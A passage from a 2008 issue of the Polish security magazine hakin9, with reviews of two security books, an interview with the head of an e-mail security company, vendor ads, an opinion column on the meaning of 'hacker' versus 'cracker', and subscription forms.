temów zarządzania treścią, wszelkich blogów itp. Z pew-
nością także PHP nie osiągnęłoby takiej popularności.
Faktem jest, że każde zabezpieczenie można obejść,
a jedyne, co możemy zrobić, to utrudnić życie hakerom
czy crackerom. Z tego właśnie powodu warto przeczytać
książkę PHP Bezpieczne Programowanie. Jak sam tytuł
wskazuje, powie nam ona wiele o tym, jak należy pisać
aplikacje internetowe, by nie narażać na nieprzyjemno-
ści naszych użytkowników – a także siebie, również pod
względem prawnym, gdyż wiele serwisów pełni funkcje
objęte regulacjami prawnymi.
Chris Shiflett – autor opisywanej tutaj książki – przed-
stawia nam różne aspekty bezpieczeństwa skryptów
PHP, pokazując często spotykane luki, które programi-
hakin9 Nr 01/2008
www.hakin9.org
72
Księgozbiór
Księgozbiór
hakin9 Nr 01/2008
www.hakin9.org
73
ści zostawiają w kodzie oraz sposoby, w jakie napastnik
może je wykorzystać. Dzięki takiej konwencji możemy
zrozumieć także samą ideę wprowadzania danego
zabezpieczenia i spojrzeć na to z perspektywy atakują-
cego. Z pewnością, znając tę ideę, będziemy w stanie
opracować nowe sposoby zabezpieczeń lub udoskona-
lić już istniejące.
Czego konkretnie możemy się nauczyć dzięki tej
książce zawierającej sto dwadzieścia stron informa-
cji? Zaczynamy od ataków: na formularze, XSS, CSRF
oraz manipulacji adresami URL (wszystko to mieści się
w jednym – najdłuższym w książce – rozdziale). Następ-
nie szybko przechodzimy do baz danych, gdzie dowiadu-
jemy się czym jest atak nazywany SQL Injection, a potem
poznajemy sposoby na ochronę przed przechwytywa-
niem sesji oraz ciasteczek, w których znajduje się więcej
pożądanych przez hakera informacji, niż się niektórym
wydaje. Autor pisze także o wstrzykiwaniu kodu, naraża-
niu na niebezpieczeństwo przeglądania przez intruza sys-
temu plików, autoryzacji użytkowników, a na koniec zosta-
wia garść rad podpowiadających co zrobić, gdy webser-
wisy znajdują się na wspólnym hoście. Zawarto tutaj
także trzy dodatki traktujące odpowiednio o: dyrektywach
konfiguracyjnych PHP, jego kilku kluczowych funkcjach
oraz o kryptografii, do której wykorzystuje się wbudowa-
ne funkcje PHP.
PHP Bezpieczne Programowanie zawiera co prawda
kilka błędów, jednak są to jedynie literówki. Autor bardzo
dokładnie opisał poszczególne rodzaje ataków i możli-
wości ochrony przed nimi, tak więc warto przeczytać tę
książkę – zwłaszcza, jeśli planujemy tworzyć poważne
serwisy webowe.
Roger Zacharczyk
Tytuł: Podstawy ochrony komputerów
Autor: Rick Lehtinen, Deborah Russell, G.T. Gangemi
Wydawca: Helion
Rok wydania w Polsce: 2007
Liczba stron: 304
Zadbaj o bezpieczeństwo swojego komputera – to cytat
z okładki książki: Podstawy ochrony komputerów, wyda-
nej przez jedno z bardziej uznawanych wydawnictw na
świecie O'Reilly, w Polsce dostarczanej przez Helion.
Co znajdziemy w książce? Dziesięć rozdziałów podzie-
lonych na cztery główne części plus dodatki. Pierwsze,
co przedstawi nam autor, to jak wyglądało bezpieczeń-
stwo wczoraj, a jak przedstawia się jego aktualny poziom
– historia rozwoju szeroko rozumianej ochrony informacji
i nie tylko. Kolejny dział wprowadzi nas w tytułową ochronę
komputerów. Dowiemy się z niego, co i jak należy chronić.
Autor porusza nie tylko zagadnienia oczywiste, jak nie zapi-
sywanie haseł na karteczkach, lecz omawia także ochro-
nę przed niepowołanym dostępem osób trzecich, wirusa-
mi, robakami. Przeczytamy, jak powinna wyglądać polityka
bezpieczeństwa w firmie, jakie zagrożenia niesie ze sobą
Internet i które rodzaje ataków można w nim przeprowa-
dzić. Dostępna jest przystępnie opisana specyfikacja pro-
tokołów sieciowych, opis możliwości i zagrożeń, jakie są
z nimi związane. Następny dział przybliża zagadnienia szy-
frowania, kodowania oraz przedstawia, co oznacza zabez-
pieczanie sieci i jak sobie z nim radzić. Autor opisuje histo-
ryczne początki znanych algorytmów szyfrujących oraz
ich ewolucję, przedstawia, które z nich na chwilę obecną
dają nam wystarczającą ochronę. Ostatnia część (poza
dodatkami) porusza tematykę innych rodzajów zabezpie-
czeń. Dowiemy się z niej o fizycznej i biometrycznej ochro-
nie zasobów oraz o metodach ochrony i unikania zagro-
żeń w sieciach bezprzewodowych. Warto zwrócić uwagę
na dodatki, w których jasno przedstawione zostały takie
zagadnienia jak Orange book czy TEMPEST.
Z rzeczy, które zauważa się już w pierwszych roz-
działach, rzuca się w oczy nakład pracy, jaki włożył autor
w uporządkowanie i usystematyzowanie wiedzy. Wszel-
kie terminy są krok po kroku definiowane i wyjaśniane.
Rzadko – acz w bardzo istotnych miejscach – znajdzie-
my ilustracje obrazujące dane zagadnienie. W ramkach
umieszczono praktyczne wskazówki i ciekawostki odno-
śnie aktualnie omawianego tematu.
Znaczną część książki zajmują odwołania do spe-
cyfikacji, praw i dyrektyw. W większości są to dokumen-
ty rządu Stanów Zjednoczonych – wydawnictwo Helion
postarało się o uzupełnienie tych paragrafów o odwoła-
nia do polskich ustaw i rozporządzeń, co podnosi war-
tość pozycji. Dla kogo jest ta książka? Właściwie dla
każdego, kto chce wiedzieć więcej o bezpieczeństwie –
z nastawieniem jednak na osoby, które są w tym temacie
początkujące (co nie oznacza, że bardziej zaawansowa-
ni nie znajdą nic dla siebie).
Marcin Kulawinek
Serdeczne podziękowania dla wydawnictwa Helion,
za udostępnienie książek do recenzji.
www.hakin9.org
hakin9 Nr 01/2008
74
Wywiad
hakin9:
Proszę przybliżyć naszym Czytelni-
kom strategię firmy na najbliższe pół roku/
rok.
Marcin Piołun-Noyszewski:
Specyfika pro-
duktów M2 NET powoduje, że firma musi bar-
dzo szybko reagować na wymagania stawiane
przez rynek, zatem jednym z zadań, które sto-
ją przed nami, jest tworzenie i implementowa-
nie nowych technik antyspamowych i ochro-
ny poczty. Np. ostatnio nasz zespół wymyślił
nową, innowacyjną technikę wykrywania phi-
shingu opartą na analizie adresów nadaw-
ców. Właśnie wydaliśmy nową wersję syste-
mu ochrony poczty dla IBM Domino, kończy-
my także przygotowywanie piątej wersji SMI!
for Gateway, a najpóźniej w pierwszym kwar-
tale 2008 chcemy wydać nową wersję SMI! for
Exchange.
h9:
Jaki jest Wasz najważniejszy, flagowy pro-
dukt?
MP-N:
Nasza firma zajmuje się dwoma nie-
co różniącymi się obszarami działalnośći.
Pierwsza to bezpieczeństwo poczty elektro-
nicznej – najważniejszą linią produktową jest
seria Secure Mail Intelligence! Jest to wielo-
silnikowy system zabezpieczenia poczty, za-
wierający 8 silników antywirusowych i po-
nad 23 technologie wyszukiwania spamu.
Z drugiej strony, nasza firma produkuje sys-
temy dedykowane i aplikacje biznesowe,
a tutaj prym wiedzie system relacji z klienta-
mi – CRM, system realizacji badań sondażo-
wych przez Internet – Internet Survey, syste-
my obiegu dokumentów, rożne dedykowane
aplikacje wielowarstwowe i aplikacje do kryp-
tografii.
h9:
Jak próbujecie się wyróżnić na rynku?,
Przecież jest tak wiele dobrych produktów. Co
robicie, aby je wypromować? Czy nie boicie się
konkurencji?
MP-N:
Duży procent sprzedaży zapewnia
nam eksport i sprzedaż poprzez zagranicz-
nych partnerów, stąd skupiamy się na działa-
niach promujących ten sposób sprzedaży. Do
najważniejszych technik promocji należą tu-
taj po prostu bezpośrednie kontakty. Nie ma
co ukrywać, nie jesteśmy zbyt szeroko obec-
ni w Polsce i niezbyt często korzystamy z tra-
dycyjnych mechanizmów promocji. Ale chce-
my to zmienić, ponieważ zamierzamy bar-
dziej aktywnie sprzedawać nasze produkty
także na rynku polskim. Niestety, nie jest to
łatwe, bo zasada cudze chwalicie, swego nie
znacie jest tutaj w 100% prawdziwa, o czym
Wywiad z Marcinem
Piołunem – Noyszewskim
prezesem zarządu M2 NET
Od 13 lat zajmuje się
projektowaniem i
tworzeniem oprogramowania
komputerowego, a od 7 lat
pełni funkcję prezesa zarządu
M2 NET S.A. Ma 32 lata i jest
absolwentem socjologii na
Uniwersytecie Warszawskim.
Marcin Piołun-Noyszewski
hakin9 Nr 01/2008
www.hakin9.org
75
niejednokrotnie się przekonaliśmy na własnej skórze.
Zaskakujące jest to, że SMI! chętnie kupuje np. admi-
nistracja rządowa w Wielkiej Brytanii czy w Kazachsta-
nie, a w Polsce mamy jednostkowe przypadki instalacji
w sektorze administracji publicznej. Jeśli chodzi o kon-
kurencję, to na świecie jest tylko około pięciu podob-
nych produktów. My stawiamy na funkcjonalność, oni
na markę. Myślę że w dłuższej perspektywie to nasze
podejście przyniesie premię.
h9:
Jak oceniacie zainteresowanie klientów Waszymi
produktami? Czy jest ono ściśle związane ze świadomo-
ścią klientów odnośnie zagrożeń płynących z Internetu,
czy ta świadomość/zainteresowanie wzrosła, czy zmala-
ła na przestrzeni ostatnich lat?
MP-N:
Właśnie, kwestia tego, skąd pochodzi zagro-
żenie, różni podejście klientów dawniej i obecnie.
W Polsce wyraźnie widać zainteresowanie głównie
funkcjami antyspamowymi, następnie antywirusowy-
mi – czyli cechami, które zabezpieczają firmę przed
atakami z zewnątrz. Okazuje się jednak, że najwięk-
sza liczba zagrożeń pochodzi z wewnątrz firmy. Za
3⁄4 wszystkich ataków odpowiedzialni są tzw. insiders,
czyli pracownicy lub byli pracownicy przedsiębior-
stwa. Między innymi dlatego w normie 27001 tak du-
ży nacisk kładzie się na kontrolę poczynań pracowni-
ków. Widzimy, że obecnie wzrasta taka świadomość
i szczególnie na świecie klienci głównie pytają o za-
awansowanie filtrowanie treści (SMI! umożliwia wy-
łuskiwanie treści z różnorodnych załączników, w tym
wielokrotnie zagnieżdżonych) i kontrolę wycieku da-
nych, w dalszej kolejności istotna jest możliwość do-
łączania zastrzeżeń prawnych i archiwizacji poczty,
a dopiero potem ochrona przed złośliwym kodem
i niechcianą pocztą.
h9:
Czy produkty firmy rzeczywiście odznaczają się wy-
soką skutecznością?
MP-N:
Po pierwsze SMI! posiada innowacyjne mecha-
nizmy działające w warstwie połączenia, co powodu-
je, że jest w stanie blokować połączenia z adresów,
z których np. otrzymaliśmy zbyt wiele zainfekowanych
listów. Podobnie z reakcją na epidemie i zachowania
masowe – te funkcje wyróżniają nas spośród konku-
rencji i powodują, że skuteczność SMI! jest wyższa
niż innych programów tego typu. W dalszym aspek-
cie wpływa na to zastosowanie 23 technik antyspamo-
wych i 8 technik antywirusowych – bo chyba przema-
wia do każdego, że przeskanowanie tego samego li-
stu kilkoma silnikami podwyższy skuteczność. W na-
szych testach wyraźnie widać, ze nie ma idealnego sil-
nika antywirusowego i antyspamowego. Trzeba dobrać
ochronę antyspamową do charakteru spamu – podob-
nie nie zdarzyło się jeszcze nigdy, aby jeden silnik wy-
krył wszystkie kolekcjonowane przez nas wirusy, troja-
ny, robaki, riskware, spyware, adware.
h9:
Jeśli tak, co to potwierdza?
MP-N:
Porównanie z konkurencją. Często z nią wal-
czymy.Nasze i ich rozwiązania są poddawane tym sa-
mym testom w identycznym środowisku, ale to nasze
produkty wygrywają. Posiadamy także raporty firm do-
starczających nam technologii antyspamowych i anty-
wirusowych, które pokazują np. czasy reakcji na poja-
wienie się wirusów. Wahają się one od kilku minut do
kilkuset godzin. Na początku stawki i na końcu w róż-
nych miesiącach występują czasami te same silniki
– nie ma ideału. Tylko dywersyfikacja technologii może
poprawić poziom bezpieczeństwa.
h9:
Jak wygląda wsparcie techniczne, czy jest ono płatne?
MP-N:
Standardowo w licencji zawarta jest opieka
roczna, która obejmuje aktualizacje baz wirusów, fil-
trów antyspamowych, poprawki oprogramowania i po-
moc techniczną przez elektroniczne kanały komu-
nikacji. Można także za 18% wartości licencji wy-
kupić zaawansowany maintenance, który umożliwia
m. in. instalowanie wszystkich nowych wersji produk-
tów bez dodatkowych opłat, a także zapewnia po-
moc techniczną przez telefon. Mamy także podpisa-
nych kilka umów na świadczenie dedykowanej opie-
ki typu 24/7/365, ale warunki takiej opieki są ustala-
ne indywidualnie.
h9:
Czy każdy klient ma swojego opiekuna technicznego?
MP-N:
Tak, każdy klient otrzymuje bezpośredni kon-
takt do dwóch osób: opiekuna technicznego i opie-
kuna handlowego. Warto jednak zwrócić uwagę na
fakt, że siłą takich małych firm, jak nasza – która za-
trudnia kilkanaście osób – jest to, że klient nie mu-
si przebijać się przez setki automatycznych powital-
nych menu, a trafia bezpośrednio do działu wsparcia
czy działu sprzedaży. Co więcej, cały zespół zna te-
matykę ochrony poczty, bo specjalizujemy się w tym
zakresie. Klient nie tonie w bezładzie organizacji,
a ewentualne problemy są szybko eskalowane – zda-
rza się i tak, że osobiście interweniuję w niektórych
sprawach. Ważne jest także i to, że pomagamy klien-
tom nie tylko podczas instalacji oprogramowania,
z ewentualnymi kłopotami technicznymi czy też
w obsłudze programu, ale pomagamy utworzyć po-
litykę zabezpieczenia, reagujemy na ataki, których
doświadczają nasi klienci, przygotowujemy dla nich
specjalne wersje lub implementujemy specyficzne
zabezpieczenia.
hakin9 Nr 01/2008
www.hakin9.org
Wywiad
76
h9:
Czy jeśli klient zamówi określone oprogramowanie
czy też wdrożenie, będzie mógł liczyć na szkolenia?
MP-N:
Oczywiście, standardowo każdy klient może za
darmo uczestniczyć w sesjach szkoleniowych organizo-
wanych przez naszą firmę. Każdemu możemy asysto-
wać w instalacji produktu poprzez telefon lub zdalny de-
sktop. Mamy także ofertę kilku szkoleń komercyjnych
– od zaawansowanej obsługi oprogramowania (np. kla-
strowania, replikacji itp.), poprzez szkolenia tworzenia
polityk zabezpieczeń, a skończywszy na szkoleniach
z tematyki nieco szerzej rozumianego bezpieczeństwa
systemów IT.
h9:
Z jakiego języka programowania korzystają progra-
miści firmy przy pisaniu aplikacji?
MP-N:
Większość bibliotek oraz natywna integracja
z serwerami wymaga tego, by korzystać z C i C++,
ale wiele filtrów i obsługa logiki aplikacji wykonane są
w języku Java 1.5. Interfejs administracyjny przygo-
towany jest jako wielowarstwowa aplikacja Java uru-
chamiana na serwerze Apache Tomcat, korzystają-
ca z interaktywnych mechanizmów AJAX. Fragmenty
korzystają ze skompilowanej przez nas wersji Perl-a,
a wersja dla Microsoft Exchange wykorzystuje miej-
scami C#.
h9:
Na firmowej stronie WWW znajdujemy informację
o obsługiwanych systemach. Czy w tych mniej popular-
nych zdarzają się jakieś problemy z działaniem progra-
mów?
MP-N:
Wersje dla wszystkich systemów operacyjnych
staramy się testować w ten sam sposób. Nie jest ta-
jemnicą, że np. Solaris czy AIX są nieco mniej popular-
ne, ale w takich przypadkach korzystamy z infrastruk-
tury producentów tych systemów i pomocy naszych
partnerów. Codziennie wykorzystujemy centra danych
w Londynie i w Warszawie, a także korzystamy szero-
ko z usług użytkowników, testujących wersje beta na-
szych systemów.
h9:
Czy przedsiębiorstwa chętnie stosują produkty firmy,
i czy ich opinie są pozytywne?
MP-N:
No cóż, tak jak wspomniałem wcześniej, wyda-
je się, że chętniej wykorzystują nasze pudełkowe opro-
gramowanie firmy spoza Polski, choć w przypadku apli-
kacji dedykowanych tworzonych na potrzeby biznesu
i administracji rządowej jest odwrotnie. Myślę, że naj-
lepszą oceną jakości produktów i świadczonych przez
nas usług jest fakt, że nasi klienci kilkukrotnie przedłu-
żają wieloletnie umowy subskrypcji i opieki serwiso-
wej, a także kilkukrotnie ci sami klienci zlecają nam no-
we zadania. Niestety, zdarza się czasami, że klienci re-
zygnują z naszych rozwiązań na rzecz produktów firmy
numer 1 lub 2 na świecie, ale wydaje się, że decyzje ta-
kie mają czasami pozamerytoryczną przyczynę.
h9:
Co przemawia za korzystaniem z produktów firmy M2
NET S.A.?
MP-N:
Chyba najważniejsza jest możliwość zwiększe-
nia dokładności analizy ruchu pocztowego, zdywersy-
fikowania źródeł zabezpieczeń, zaufania firmie wysoko
wyspecjalizowanej, otwartej na nowe pomysły i szyb-
ko reagującej na zmiany. Istotna jest możliwość bez-
pośredniego kontaktu, elastyczność i innowacja, którą
cechują się nasi pracownicy. Warto podkreślić, że cena
naszych produktów jest podobna do rozwiązań jedno-
silnikowych, a łatwość wdrożenia i obsługi programów
nie wymaga zaawansowanej wiedzy. Staramy się, aby
temat bezpieczeństwa został wyrwany z rąk guru i tra-
fił pod strzechy. Chcemy, żeby wysoko wyspecjalizo-
wane produkty mogły być obsługiwane przez zwykłych
administratorów.
h9:
Jak produkty M2 NET S.A. wypadają na tle konku-
rencji?
MP-N:
Nasz udział w rynku jest mały. Docieramy głów-
nie do wielkich firm, w których zabezpieczenie jedno-
silnikowe jest niewystarczające. Proszę sobie wyobra-
zić, że wśród firm korzystających z naszego oprogra-
mowania są takie przedsiębiorstwa, gdzie chronimy kil-
kaset serwerów i kilkadziesiąt tysięcy użytkowników!
Małe i średnie firmy preferują dobrze znane marki,
trudno nam z nimi wygrać. Niestety, nie możemy sobie
pozwolić na szeroką kampanię promocyjna, bo nasz
budżet na razie w 80-90 procentach pochłania R&D
i konieczność nadążania za zmieniającą się charakte-
rystyką ataków. W chwili obecnej wyróżnia nas wyższa
funkcjonalność i większa dokładność kontroli poczty.
h9:
W jaki sposób firma postrzega środowisko specjali-
stów IT?
MP-N:
Bez tych osób, bez ich pomysłów, wiedzy, czę-
sto doświadczenia, trudno byłoby nam stworzyć produk-
ty, które mogłyby realnie zabezpieczyć infrastrukturę na-
szych klientów.
h9:
Jakie akcje dla specjalistów IT Państwo przeprowa-
dzają?
MP-N:
Głównie ich poszukujemy i zatrudniamy, ale stara-
my się także dzielić z nimi wiedzą podczas licznych kon-
ferencji i wykładów, w których uczestniczą nasi pracow-
nicy.
h9:
Czy planujecie jakieś specjalne oferty, gratisowe na-
rzędzia itp.?
MP-N:
Obecnie istnieją tylko demonstracyjne wersje na-
szych produktów, ale dla różnych organizacji non-pro-
fit oferujemy darmowe wersje. Pracujemy nad wersją
bezpłatną naszych produktów, ale niestety cykl wydaw-
niczy nowych wersji zablokował wydanie ich w tym ro-
ku. Wszystko wskazuje na to, że pod koniec pierwsze-
go kwartału przyszłego roku, a najpóźniej w drugim, wy-
damy darmowe wersje całej serii SMI! Co do specjalnych
ofert, to cały czas mamy rabat 30% dla instytucji związa-
nych z edukacją.
h9:
Jak M2 NET S.A. ocenia hakin9 jako medium umoż-
liwiające dotarcie do specjalistów IT?
MP-N:
hakin9, to według nas ważne czasopismo dostar-
czające rzetelnej wiedzy specjalistycznej, z której sami
także korzystamy.
h9:
Dziękujemy za rozmowę.
MP-N:
Dziękuję.
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.
Zepter IT
Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
www.OprogramowanieKomputerowe.pl
www.ccns.pl
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
www.zepterit.com
kontakt do nas:
katarzyna.juszczynska@software.com.pl
robert.gontarski@software.com.pl
tel. : 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
hakin9 Nr 01/2008
www.hakin9.org
78
Fe
lie
to
n
N
astoletni haker włamał się do firmy, hakerzy
atakują nasze e-maile, hakerzy przejmują Twój
komputer, hakerzy znaleźli 'dziurę' w systemie
operacyjnym – takie i podobne teksty można przeczy-
tać w prasie i usłyszeć w TV. W Niemczech wprowadza
się nawet specyficzne przepisy anty-hakerskie.
Wszystkie takie informacje wrzucane są do jedne-
go worka, a dla przeciętnego użytkownika komputera
słowo haker ma negatywne konotacje. Stało się ono
modne i wręcz nadużywane.
Haker jest to osoba, która posiada bardzo szero-
ką wiedzę informatyczną i która potrafi ją wykorzystać
w celu znalezienia dziur w systemach informatycznych.
Osoba ta dzieli się swoją wiedzą i chętnie pomaga
innym użytkownikom, a co najważniejsze, swoim dzia-
łaniem nie szkodzi.
Trzeba też pamiętać, że to hakerzy przyczynili się
do ekspansji oprogramowania Open Source. To oni
stoją za tym, że każdego miesiąca dostajesz popraw-
ki do swojego ulubionego systemu operacyjnego. Ale
o tym jakoś nikt nie mówi. Nikt nie wspomina też, że to
dzięki nim Twoje ciężko zarobione pieniądze są coraz
bezpieczniejsze na kontach. Nawet Twoja sieć osiedlo-
wa jest bezpieczniejsza dzięki temu, że hakerzy moty-
wują administratorów do lepszego jej zabezpieczania.
Naturalnie, kwestia nie jest taka prosta. W grupie
hakerów występuje podział na black hats, white hats
i grey hats. Do pierwszej z nich zaliczamy osoby, które
wyszukują błędy w systemach i nie dzielą się tą
wiedzą, tylko tworzą oprogramowanie umożliwiające
wykorzystanie odkrytych luk. Do drugiej grupy nato-
miast wliczamy osoby, które szukają luk bezpieczeń-
stwa i po ich znalezieniu dzielą się z szerszą grupą
ludzi, którzy mogą pomóc w zlikwidowaniu błędów
w systemie. Natomiast ostatnia już grupa to po
prostu ci, którzy łączą w sobie cechy black hats
i white hats.
Przykładem włamania dokonanego z pozytyw-
nych przesłanek było wejście na serwer Apache.org
w wykonaniu Petera van Dijka i Franka van Vlieta w
maju 2000. Osoby te włamały się na serwer, opisa-
ły krok po kroku wszystko, co zrobiły i pozostawiły
administratorom serwera wiadomość, co zrobić, aby
Czy wszyscy są hakerami?
go lepiej zabezpieczyć. Mogli przecież użyć serwera
do zainfekowania tysięcy komputerów. I to jest jeden
z najbardziej szczytnych przykładów działań hake-
rów. Na dodatek administratorzy Apache.org napisa-
li podziękowania dla nich za pomoc w lepszym zabez-
pieczeniu systemu.
Natomiast inna osobą jest cracker. To użytkow-
nik, który włamuje się na serwery w celu zniszcze-
nia czegoś lub dla osiągnięcia korzyści materialnych.
Osoba taka działa niezgodnie z prawem. Jej celem nie
jest pomoc nikomu, tylko własny zysk. Trzeba przy tym
pamiętać, że crackerzy to naprawdę inteligentni ludzie,
którzy potrafią dużo zrobić za pomocą komputera
i nawet w ich nieetycznym działaniu można doszukać
się pozytywnych przesłanek.
Oczywiście można się ze mną sprzeczać i mówić,
że brak mi obiektywizmu, ponieważ nic na tym świe-
cie nie jest czarne lub białe. Ale czasami cel uświęca
środki. Przykładowo: ostatnio przeczytałem w pra-
sie, jak przedstawiciel pewnej firmy odpowiadający za
najbardziej popularny pakiet biurowy powiedział, że
zawiesza się on ze względów bezpieczeństwa. Cóż,
czytając coś takiego, zastanawiam się jak można
w taki sposób traktować użytkowników swojego pro-
gramu. Często wypuszczane są systemy operacyjne,
które mają być superbezpieczne i dawać nam kom-
fort spokojnej pracy. A jak wiemy często jest zupełnie
inaczej. Zwykły człowiek nie jest w stanie tego wykryć
i przetestować. I tutaj właśnie z pomocą przychodzą
hakerzy, którzy próbują wskazać producentowi okre-
ślone luki w systemie aby ten mógł zostać lepiej zabez-
pieczony. Czasami nie wystarczy pokazać monopo-
liście, że gdzieś jest błąd, ponieważ uważa on, że
wszystko działa bez zastrzeżeń i nic nie trzeba napra-
wiać. Ale cóż – to już zupełnie inna historia…
Niestety, za nadużywanie terminu haker odpowia-
dają w dużym stopniu media, ponieważ to one przy
każdej możliwej okazji wykorzystują to słowo nie zwra-
cając uwagi na jego właściwe znaczenie Apeluję,
więc, do wszystkich: zastanówcie się, zanim nazwie-
cie kogoś hakerem czy crackerem, ponieważ zawsze
możecie go urazić, nie zdając sobie sprawy, o czym tak
naprawdę mówicie. l
Rafał Bednarski gandalfblu@gmail.com
Tytuł
Ilość numerów
w roku
Ilość zamawianych
prenumerat
Od numeru pisma
lub miesiąca
Opłata w zł
z VAT
hakin9 (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
900
Dodatkowy drukowany egzemplarz
12
80
W sumie
(liczba prenumerat x cena)
Formularz zamówienia prenumeraty
Dane osoby / firmy zamawiającej
Imię i nazwisko
Stanowisko
ID kontrahenta*
* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe
Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy
Pieczęć firmy i podpis
Nazwa firmy
Dokładny adres
Telefon (wraz z numerem kierunkowym)
Faks (wraz z numerem kierunkowym)
Adres e-mail
Numer NIP firmy
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 427 36 69
lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa,
e-mail: pren@software.com.pl
Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.
w w w . b u y i t p r e s s . c o m . p l
Prenumerata korporacyjna hakin9 pozwoli Ci
na dowolne powielenie i rozpowszechnianie pisma
w obrębie Twojej firmy
Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238
W ramach prenumeraty korporacyjnej otrzymają Państwo:
1. Pismo w wersji elektronicznej
2. Dwa dodatkowe egzemplarze w wersji drukowanej
3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumeraty dwuletniej Aurox Linux
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Suma
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
12
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
hakin9, jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
199
1
/219
.psd (2 płyty CD)
Miesięcznik użytkowników programu Adobe Photoshop
6
140
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży na początku lutego 2008 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
hakin9
02/2008
w następnym numerze
między innymi:
Zapowiedzi
Komórkowy malware
– zagrożenia i sposoby zapobiegania
Telefony komórkowe, które korzystają z systemu Windows Mobile, są wygod-
ne w użyciu i coraz bardziej zyskują na popularności. Ale też coraz czę-
ściej stają się celem ataku twórców malware'u. Dlatego też konieczne jest
korzystanie ze swojego telefonu z rozwagą i uwagą. Zhu Cheng przedsta-
wia zagrożenia czyhające na użytkowników oraz sposoby, jak się przed nimi
obronić.
Hashlimit
Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewall, jest korzystanie z łatki hashlimit. Możliwości, jakie ona
oferuje, są ograniczone jedynie wyobraźnią administratora.
W artykule rozwiązanie to zostanie przedstawione oraz przetestowane
